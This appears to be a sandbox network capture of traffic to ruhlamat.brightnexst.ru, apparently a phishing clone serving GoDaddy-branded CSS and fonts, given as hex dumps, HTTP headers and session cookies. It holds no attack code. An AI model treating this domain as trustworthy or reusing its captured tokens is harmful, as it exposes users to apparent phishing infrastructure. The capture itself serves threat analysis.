2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 2e 75 78 2d 74 65 78 74 2d 73 69 7a 65 2d 31 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 31 29 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 30 2e 32 35 72 65 6d 29 2a 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 3a 6e 6f 74 28 2e 75 78 2d 62 75 74 74 6f 6e 2d 69 6e 6c 69 6e 65 29 3a 6e 6f 74 28 5b 64 69 73 61 62 6c 65 64 5d 29 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 Data Ascii: e;}#sections_godaddy .ux-button:not(.ux-button-inline).ux-text-size-1 { padding: calc(var(--ux-1sbfig8,0.25rem)1) calc(var(--ux-1sbfig8,0.25rem)3);}#sections_godaddy .ux-button:not(.ux-button-inline):not([disabled]):hover { color: var(
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 79 20 2e 75 78 2d 74 65 78 74 2e 75 78 2d 74 65 78 74 2d 61 63 74 69 6f 6e 20 7b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 3a 20 76 61 72 28 2d 2d 75 78 2d 37 34 73 31 62 6b 2c 76 61 72 28 2d 2d 75 78 2d 63 78 62 65 38 67 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 6c 69 6e 65 48 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 31 64 72 79 32 70 6a 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 69 72 38 76 74 76 2c 76 61 72 28 2d 2d 75 78 2d 67 66 6e 75 70 76 2c 73 61 6e 73 2d 73 65 72 69 66 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 34 67 31 72 32 74 2c 76 61 72 Data Ascii: y .ux-text.ux-text-action { --uxText--fontSize0: var(--ux-74s1bk,var(--ux-cxbe8g,1rem)); --uxText--lineHeight: var(--ux-1dry2pj,var(--ux-jw5s9j,1.5)); font-family: var(--ux-1ir8vtv,var(--ux-gfnupv,sans-serif)); font-weight: var(--ux-4g1r2t,var

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:40 UTC	1382	OUT	GET /GDSherpa-bold.woff2 HTTP/1.1 Host: ruhlamat.brightnexst.ru Connection: keep-alive Origin: https://ruhlamat.brightnexst.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
2025-03-18 08:10:40 UTC	1162	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:40 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff2" Last-Modified: Tue, 18 Mar 2025 08:10:40 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TIRYenl7ttqG%2FrtjgFF%2Bc9LiKAcV2sZuNgGTW%2BX47oASyGuuD6fYtxi%2BTAdHZW%2Fh%2F7si526GvHOVP%2FWPLQ0mikFM4IVgrwvpvFTpJdC6nlqe38vjQnOc%2F3zUJQKK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=1102&min_rtt=1080&rtt_var=342&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2293&delivery_rate=2460492&cwnd=251&unsent_bytes=0&cid=034a92be76b14615&ts=117&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 92234141def07d08-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1991&min_rtt=1984&rtt_var=758&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1954&delivery_rate=1429970&cwnd=180&unsent_bytes=0&cid=67d655938c87fc73&ts=510&x=0"
2025-03-18 08:10:40 UTC	207	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce 46 0e 63 20 41 96 af 37 Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)JFc A7
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 bc ef 58 a8 f0 9b c5 a1 13 3e 5b 8f 37 84 95 1b dd c4 fb 92 f6 31 3f 3f e9 b5 33 1b 3f 74 d0 95 c5 71 45 fc 1e 66 c9 95 b6 19 62 97 c3 e1 2c c8 92 46 77 63 70 38 ab af 91 34 5e 02 5e 78 9e b1 7c a7 82 a3 c6 52 6f 3c 25 dc d7 22 2e e1 09 81 7e 30 8f 94 71 ee b7 f8 72 50 88 85 47 11 0b b2 82 f4 97 de 52 ff cd dd bc c0 2d 9d bc 7b 4f 92 51 65 4a a9 db c1 16 d8 36 ec 45 cd 8e 9e f6 ff fe b2 ac aa 7b ef 7b 1f 1a d4 a2 16 d0 2c 68 a5 21 8c cc 83 5f bd 04 bd dd 0b 7f 24 03 cb 33 a9 9d 63 46 40 11 87 3e b9 8f a3 0d a2 0d 1d 8d 74 c0 6f f3 ef d1 46 63 20 88 95 18 59 53 8c af ac 8d fe 73 19 56 d4 8c c4 6a b4 99 8b 0e 75 6b Data Ascii: kv2=Zn4`~Nl4;Sl{w:#=! X>[71??3?tqEfb,Fwcp84^^x\|Ro<%".~0qrPGR-{OQeJ6E{{,h!_$3cF@>toFc YSsVjuk
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 05 db 15 d7 5c 77 d3 1d db f0 bf d6 60 31 5d 4a 97 d3 f5 f4 a4 59 2d 73 e6 2d 58 b4 64 d9 8a 55 6b d6 6d d8 dc d6 b6 77 b0 f6 d0 61 c3 47 8c 1c 35 30 7a cc f8 09 13 27 4d 9e 32 7d c6 cc 59 b3 e7 cc 1d dc f5 1e f7 b9 78 c9 46 1b f3 73 92 35 88 21 b9 90 06 4c a1 ec 44 53 63 41 4a 18 28 48 6b 6b a6 b0 10 96 b2 ea 6e 60 12 8b 54 27 3a 88 0d 21 91 cf 78 89 b0 b1 d8 18 21 22 c5 da ac b1 1d e5 ca f6 61 f6 a8 56 58 53 71 3c 02 8d 44 a2 a2 41 23 e9 58 a6 4f 15 82 22 96 74 9e aa c0 f4 bc 86 89 99 78 96 9e cc 06 39 a9 dd f8 40 7f e2 54 d8 c2 6b b4 1b e6 c5 e1 04 8c 66 32 96 29 88 85 e4 1c c6 0e b7 46 86 56 d0 e4 51 61 62 15 4f 01 27 e6 16 29 b4 dd 95 b0 ee 43 0c a3 4b ea 60 8c c0 09 ad e3 6f 88 46 c1 31 3e 16 2f a6 93 a3 2c a1 5c 8f a6 25 41 94 a6 fc ba 38 e6 29 59 Data Ascii: \w`1]JY-s-XdUkmwaG50z'M2}YxFs5!LDScAJ(Hkkn`T':!x!"aVXSq<DA#XO"tx9@Tkf2)FVQabO')CK`oF1>/,\%A8)Y
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 52 47 75 81 f7 9a 59 0b 79 56 80 3c 2f 6d c3 e0 bb bd e6 87 fe 1c cc 0d 18 38 fa 62 0b 01 bc 05 33 fb 67 82 27 9d 98 3f 21 ff 23 4c 66 24 d3 27 ca 08 44 a9 f4 ff 94 fa eb 3b bb 83 8b 02 47 f2 cd 86 8c 7f 4e e1 32 e7 d8 15 ae 79 f8 47 8f fa 05 96 b1 d9 36 75 60 b8 9c 89 84 ab 0f ce b6 0d b0 e5 e9 e7 53 21 f4 1c 5b 5e ef 2c e5 1d e5 33 06 58 b9 e3 bf 4b 32 40 cb 15 6f 86 0b 94 4f 42 ca e2 c7 88 be 73 54 45 83 70 c0 53 0f 20 a4 a1 c9 b1 40 1c 44 ef 81 97 5a db 50 18 22 a5 a5 70 8f 5f eb 4d ed 09 f5 04 d0 0c 6c ac d1 b3 da a0 5c ef 6b c9 93 48 d8 73 12 fe 6f 47 42 f7 de 47 8d 7e 39 a2 63 8a a3 c3 11 1b f3 63 3b c1 97 86 57 c5 13 9c 32 39 ea a5 bd 1f e9 a5 a8 95 ab e9 c3 25 f8 f4 7b a0 cc 90 77 51 d2 bd f8 79 19 f2 a2 47 74 0c d9 1e 6c 61 83 6b 8d 97 d4 f3 04 Data Ascii: RGuYyV</m8b3g'?!#Lf$'D;GN2yG6u`S![^,3XK2@oOBsTEpS @DZP"p_Ml\kHsoGBG~9cc;W29%{wQyGtlak
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 79 6f 50 db 91 84 e7 ee 0c 54 fb e1 d1 8a eb f5 00 5f 98 7b d5 02 c9 d4 83 39 92 97 e2 70 58 d4 05 60 f1 63 30 c3 d6 0a 9b a6 c4 77 52 42 36 e2 4e 21 d6 57 4e 46 0f 3c c3 ed 46 2e 7c 76 0c b0 f5 48 c7 45 ff c9 ed f1 ab 91 fa 72 a5 ca 0f 4f 04 7a 13 ca b1 46 a7 b9 aa 87 1a 89 7e 63 b0 92 a4 e6 f9 de 46 9f dd 71 be 20 de e9 fd 8c 00 5a c9 1e 8a 23 4a 27 a0 ce 42 1e 5b 6d 40 40 3c bf 46 bf 87 3b 88 a3 bb ff 22 63 84 3f f6 b8 70 7f e1 e6 bf 7e 53 e1 e5 89 5b 97 e8 15 a4 24 20 35 29 73 9b 30 1c 97 3a f4 09 c6 df 6d af a6 d6 b1 39 44 4c 43 64 c3 d7 30 ff 90 97 df d3 35 dd 6c dd 23 7d 72 b0 63 e6 28 7b ec 1b cb 1d 01 12 cf d5 46 05 58 bf 47 3d 6f b5 4b 00 12 0c 03 15 52 e1 0d 36 3c 0b fa cd 75 d3 91 a9 e1 be 6c 7c 7c 41 17 7b 2e f2 7f 71 2f 44 85 82 85 df 24 0a Data Ascii: yoPT_{9pX`c0wRB6N!WNF<F.\|vHErOzF~cFq Z#J'B[m@@<F;"c?p~S[$ 5)s0:m9DLCd05l#}rc({FXG=oKR6<ul\|\|A{.q/D$
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 31 cd 47 a2 8b 64 af a2 dd 25 0f 30 42 87 63 c5 7e 02 a5 42 d3 64 32 44 01 80 0d 52 50 be b2 37 d0 27 5f 0e b0 93 cc 2b 52 29 c2 37 52 bd c4 24 13 01 62 ac 2c 71 16 6d 89 15 43 a2 4a 3b 58 10 63 15 56 19 85 c5 5a 67 71 36 93 89 64 c8 42 5e fa 4a 16 a3 48 89 c8 fb 86 a8 c7 95 6b f6 a2 f4 d9 42 5c e7 8c c8 5f 20 a2 10 a1 50 0e 9d 41 74 56 1d 2a 51 71 92 c8 4a 96 0a ed 93 8a 89 29 51 0e e3 ab 6a 60 7d 4b 03 9c 1f 74 2c 5e 9b da c2 4a 6b 65 09 da 58 6f 5f b0 f2 da 59 6e 1d ac 82 4e 2a fd d5 ab 8a a3 e8 d1 8b ac 4f 3f 69 03 98 28 06 61 15 0d b1 74 67 59 6f d3 2c c5 28 2b 60 8c 95 31 ce 0a 9a 60 9d 2c b0 42 a6 58 17 4b ac b0 19 96 6a 96 c5 9b 63 15 b1 58 bc 05 56 de 22 4b b1 c4 2a 5a 66 05 ad b0 9e ae b3 de 96 59 0a 36 eb ea 6b 96 62 83 e5 75 85 1a 7d 6d ad 20 Data Ascii: 1Gd%0Bc~Bd2DRP7'_+R)7R$b,qmCJ;XcVZgq6dB^JHkB\_ PAtVQqJ)Qj`}Kt,^JkeXo_YnNO?i(atgYo,(+`1`,BXKjcXV"K*ZfY6kbu}m
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 72 a1 6e 7e 7e 7b 37 18 f8 eb 13 2a 2f ef e8 26 36 b5 d9 cd ef fc 58 bb b4 cb bb b9 db bb 1b e4 e5 dc c3 3d 8d df 4a f9 fe d7 96 4f 37 3f 59 8d e7 9d 71 5e ab 6f d5 3a fd e6 a3 ea 80 0b a6 f8 b7 66 9b 6a f9 f3 de b0 6c 5d 91 41 fb 55 e9 61 b1 07 7f af 1a 07 d4 e9 74 d4 71 87 1d 53 6b 42 d2 61 a3 2a dc 56 2f f9 94 4b e8 6e 35 a0 95 fc 21 95 ba 39 12 3d ac 96 41 e5 cc 83 5e 3e db 79 03 f8 0c 5e cb 96 bf 92 2a 5b bd e6 b9 2a a9 bb e2 91 c7 9e 78 e6 b9 57 66 7d b3 65 db 77 bf e3 de 80 35 64 25 fd 36 92 47 cf 3e 7d 5f 6e e3 ad 58 7f be b1 99 be cd 15 de 0b 26 5e 92 c5 62 ef 35 07 6f 38 79 c7 d1 5b 2e 56 29 5a 45 f7 91 a7 7f 79 f9 44 ce 02 0f ff f0 f2 93 bc 4e c0 f5 02 6f c0 b8 91 b2 35 fb 6e 15 7c 8b bd 77 6a dd 43 b1 df 38 9a 7b 42 ef 12 76 b7 75 e1 ed 45 05 Data Ascii: rn~~{7/&6X=JO7?Yq^o:fjl]AUatqSkBaV/Kn5!9=A^>y^[xWf}ew5d%6G>}_nX&^b5o8y[.V)ZEyDNo5n\|wjC8{BvuE
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 4b 8d 29 69 f2 a2 75 ba 43 ea 2d 68 58 83 be 83 dd 43 d6 31 ba 15 81 fb 17 de df 75 68 4f ec 7e ab 07 bd e9 34 a9 d7 8a d4 77 27 a0 0e f7 9d 96 ee 5c ef b4 cb 85 21 1e 96 9d a0 a3 b1 c2 7d 45 9d 56 20 61 10 ab 5e 8e af b7 44 c1 41 79 72 28 b2 40 92 a6 76 40 d7 e9 9b 4e 17 70 c3 eb 07 ce b7 44 c7 5b c7 63 f9 4a fd d8 4e 56 2f cf af ee d8 24 78 49 15 c6 14 f7 ab 2c a4 75 fe c9 c2 66 1c d6 24 71 d3 2d 29 99 d0 52 63 a2 e2 cd b4 65 85 a7 0e 36 57 41 36 56 58 30 d6 23 83 e3 70 94 17 66 1c c2 45 aa ae cb b4 7a ea 60 12 7c b4 a5 f8 88 b5 1e 5e c2 f4 84 11 6c b3 6a 2f 19 20 76 93 d4 30 8c a0 43 60 5a 02 b6 86 06 43 15 03 f8 e9 de 72 8e 3a 34 91 e2 f4 87 5f a5 aa 47 88 20 c9 fa fb ce 20 2b 8c 56 d2 ed aa 25 a8 23 24 28 3a a4 17 c2 5e 60 66 2a 8e 73 a7 de 62 48 89 Data Ascii: K)iuC-hXC1uhO~4w'\!}EV a^DAyr(@v@NpD[cJNV/$xI,uf$q-)Rce6WA6VX0#pfEz`\|^lj/ v0C`ZCr:4_G +V%#$(:^`f*sbH
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 0a d7 57 bd 3d 56 45 8f f1 55 61 5f 2e ac 3d 06 0a 28 a4 49 6d a6 6f 46 1d 78 2e 47 5c 51 cf 7c ea d0 49 1b 79 95 1a 90 09 07 ff e7 e0 5d 83 d3 28 88 e9 61 21 f3 ca 66 a2 92 b8 04 af ef 77 01 2a 09 ff 91 f0 69 77 23 61 21 25 46 28 08 a1 1a b9 32 ee a4 7a 2c 43 f1 5d 0f d7 d9 65 89 90 f3 df f1 15 f0 d2 09 5d e7 95 37 00 18 28 22 e9 a2 1e b9 c0 9b ab 68 a3 79 74 d9 52 b7 93 7a dc 8b 03 36 d0 90 31 30 a2 22 39 30 0b e9 af c4 ac ee 1a a5 27 78 e5 94 89 1f 92 35 2f d0 e1 36 92 dc 13 cf 16 14 2d f4 74 a5 e6 a9 57 17 69 9d 9f 61 97 5b a0 ea 8a dd 0a 65 cc b0 71 0d 44 47 a3 1c 7c 10 58 24 97 38 21 0c 62 5b 68 70 c9 54 52 48 b1 b4 62 11 48 69 de 26 c2 4b bb 1b 92 67 61 05 df cc 2e 5d fc b1 d9 57 bf 1d 61 25 09 cc c4 e7 b3 02 52 4f 2e 36 c9 82 17 10 4f b8 dd ab 21 Data Ascii: W=VEUa_.=(ImoFx.G\Q\|Iy](a!fw*iw#a!%F(2z,C]e]7("hytRz610"90'x5/6-tWia[eqDG\|X$8!b[hpTRHbHi&Kga.]Wa%RO.6O!
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: f8 30 57 e9 7c 0c 7d 0f b1 ab 87 c3 38 9b e3 57 66 17 81 f8 91 c4 6a 08 1e a1 73 a2 b3 0d 59 7d 44 8b f1 ba 4b f8 4d 02 ea 4b 96 f7 6d 42 bd d0 f6 0b 06 34 25 52 bf 52 4c 70 57 bf 97 33 c0 a8 71 9a 82 4d 81 d9 7c bc f7 d8 5f 66 46 0a 04 a5 9f 95 0f 3d fc 2f 17 3f 5e 43 fd 6c 6d e7 27 06 d3 df 98 97 6a 86 dc 2e 0c ba 71 ba ba 58 36 2e ce 5f 11 69 c0 a3 ae 38 d2 24 16 b8 20 50 cc fd 01 0f eb cb 42 75 0d 29 de 40 02 76 62 ac 0d d6 cc b6 42 3e f2 ed f1 93 3b 5f aa 81 90 71 ec ca ab 8a 73 b5 c4 68 3f 46 e1 c8 59 5d c2 3d da bf f9 eb 22 81 08 df 70 3e a9 f4 1e fe de 91 8e df 17 6f db e8 29 45 d2 10 bf 4e 8c 3d 28 54 f9 9c 6a 56 2d d4 f3 f9 8d 6f bb b1 5d 75 37 03 67 77 4b 0b 12 c2 6e 9b 97 47 5d ba be c7 ca 44 70 e6 80 2c 4f 95 71 9e 10 ea e0 14 1e ce 65 50 e5 Data Ascii: 0W\|}8WfjsY}DKMKmB4%RRLpW3qM\|_fF=/?^Clm'j.qX6._i8$ PBu)@vbB>;_qsh?FY]="p>o)EN=(TjV-o]u7gwKnG]Dp,OqeP

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:40 UTC	1381	OUT	GET /GDSherpa-bold.woff HTTP/1.1 Host: ruhlamat.brightnexst.ru Connection: keep-alive Origin: https://ruhlamat.brightnexst.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlcydXNSNXhXb01SRytNZ2lYTlEyZlE9PSIsInZhbHVlIjoicFlWbHYxOU1FSnBGSjZGcVc1Wld5K2hoUVlNM0xQTGsxRndGdFVleFgxWm1TbGl1ejNzWVhFK3ZsWDZIMy9KZFd2TFBNZjc1cng0TXdmdER6cTRCbUxRaCtIQXpZREpRdWt1YlZmamh6bncxTCtUWi9tLzl6Y3lpeHAwVGNSRWkiLCJtYWMiOiIxMDYwN2ZlYzA2MWYwMTgxYTY0ZTllMjRmMDI2NmI1YTE5MzMwMjUxMTI3NzAwOTgzNjQ4ZTc0NjVkMjQ0MmZlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNTbVVIdHNoL3BaVlVkVjdrUWVTWkE9PSIsInZhbHVlIjoid3pFaElZcVZjTFV1ZkNnQkluUmRRVnpLRnM0QWZ0VzhMQi9hUFQwQ0ZpYnMvNHVKVUFQOTZjRkxlN2RTRW5RWWppQ3lyYlpHY0lTRlJMQ2t6bWlObFVqTkJHM1locE1KOVNVV05tbmlwMkF4NWlXKzRRelJqMGVxRFVIZW9xVGgiLCJtYWMiOiJkYTFkMjMwMGY4YzE0OWIxYTQ5NTBhNzg1N2Y3MTcxMTIxNjFkMWYzNjZhMGZiYmU5ODI1Mzg1ZWFjYmVhMTExIiwidGFnIjoiIn0%3D
2025-03-18 08:10:40 UTC	1156	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:40 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff" Last-Modified: Tue, 18 Mar 2025 08:10:40 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dQCNpv1XjOftXWVKBNBT1VS0XXemxiGF1F4WLNLzaDndm4mbCwUlpGKbBNFCwOapIzz%2FQzO%2B3Axnku7FV3jO1FCHJ8t2wICv37%2F7g%2F4a5C0m%2BgF05lg%2FVSaMzdBY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=1482&min_rtt=1475&rtt_var=568&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2292&delivery_rate=1885416&cwnd=251&unsent_bytes=0&cid=58d585ed78a18903&ts=126&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 92234141d89c88c3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2002&min_rtt=1995&rtt_var=763&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1953&delivery_rate=1420233&cwnd=109&unsent_bytes=0&cid=aeeb0deefa5be51a&ts=462&x=0"
2025-03-18 08:10:40 UTC	213	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 21 74 00 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gaspglyf!t
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 21 00 00 00 24 10 f8 09 15 68 6d 74 78 00 00 74 30 00 00 03 80 00 00 07 78 3f 73 90 23 6c 6f 63 61 00 00 77 b0 00 00 03 a8 00 00 03 be 4c 43 25 1c 6d 61 78 70 00 00 7b 58 00 00 00 20 00 00 00 20 03 35 0c fc 6e 61 6d 65 00 00 7b 78 00 00 02 c8 00 00 06 03 d7 eb b7 a5 70 6f 73 74 00 00 7e 40 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8a d0 00 00 00 81 00 00 00 8d 19 50 02 10 78 da ed 5c 0d 74 55 d5 95 de 3b 79 dc bc f7 08 21 be 89 21 09 10 52 8d 34 a2 22 28 08 22 2a 22 a2 55 e4 af d6 56 b4 5d 33 ae a9 e3 72 a8 cb 35 63 07 ac 1d 6a f9 b5 2e 01 87 5f e5 37 55 b0 94 89 48 01 15 31 4d 53 45 08 10 10 30 62 a0 11 62 26 86 bf 18 Data Ascii: Ra$iheads36}hheat!$hmtxt0x?s#locawLC%maxp{X 5name{xpost~@1+,prepPx\tU;y!!R4"("*"UV]3r5cj._7UH1MSE0bb&
2025-03-18 08:10:40 UTC	1369	IN	Data Raw: 4b 61 f9 cb c5 67 64 82 82 4c 50 90 0a 9e d5 80 0a 8f d8 d0 5a 50 93 87 f6 4d 78 76 33 28 d9 89 5f e1 9f 58 6f 00 fa 62 4a c9 c6 58 02 4d 49 b1 34 05 52 c2 bd b9 98 e3 3c fc ce 87 9e 2d 14 49 25 f2 62 b4 69 0b 36 ad 37 19 98 93 2d bf 61 4b ab 41 fc c6 66 13 13 66 08 d9 03 5b 3e f6 02 78 70 93 e7 06 70 79 2c e9 1b 98 8d 1e 2b 80 b1 32 30 56 a2 d8 6d 2e 7e d7 a2 2d 4f c6 f2 82 f2 44 50 9d 06 a9 e5 63 d4 bd 88 09 07 84 ea 4a 19 69 2e 5a b5 fe 6a dd 35 2d 3f 04 4a 6a 40 49 35 74 b7 41 46 29 12 bd c9 14 8a 0a a1 a3 af 89 2c 72 78 2a 66 f9 14 24 f8 0b fc 3e 4d 03 20 89 d7 c0 39 03 f4 32 bd 0e bd d2 fd d7 c9 f1 90 1c 2b e4 58 85 11 d2 31 b3 9e b0 7b 4d 51 81 50 b3 0d 52 6b 90 96 17 d1 52 41 39 68 c9 87 e7 2a 80 3e 4f 6f 29 a1 4b c0 f5 f5 f0 1b 53 d1 02 af a9 6a Data Ascii: KagdLPZPMxv3(_XobJXMI4R<-I%bi67-aKAff[>xppy,+20Vm.~-ODPcJi.Zj5-?Jj@I5tAF),rxf$>M 92+X1{MQPRkRA9h>Oo)KSj
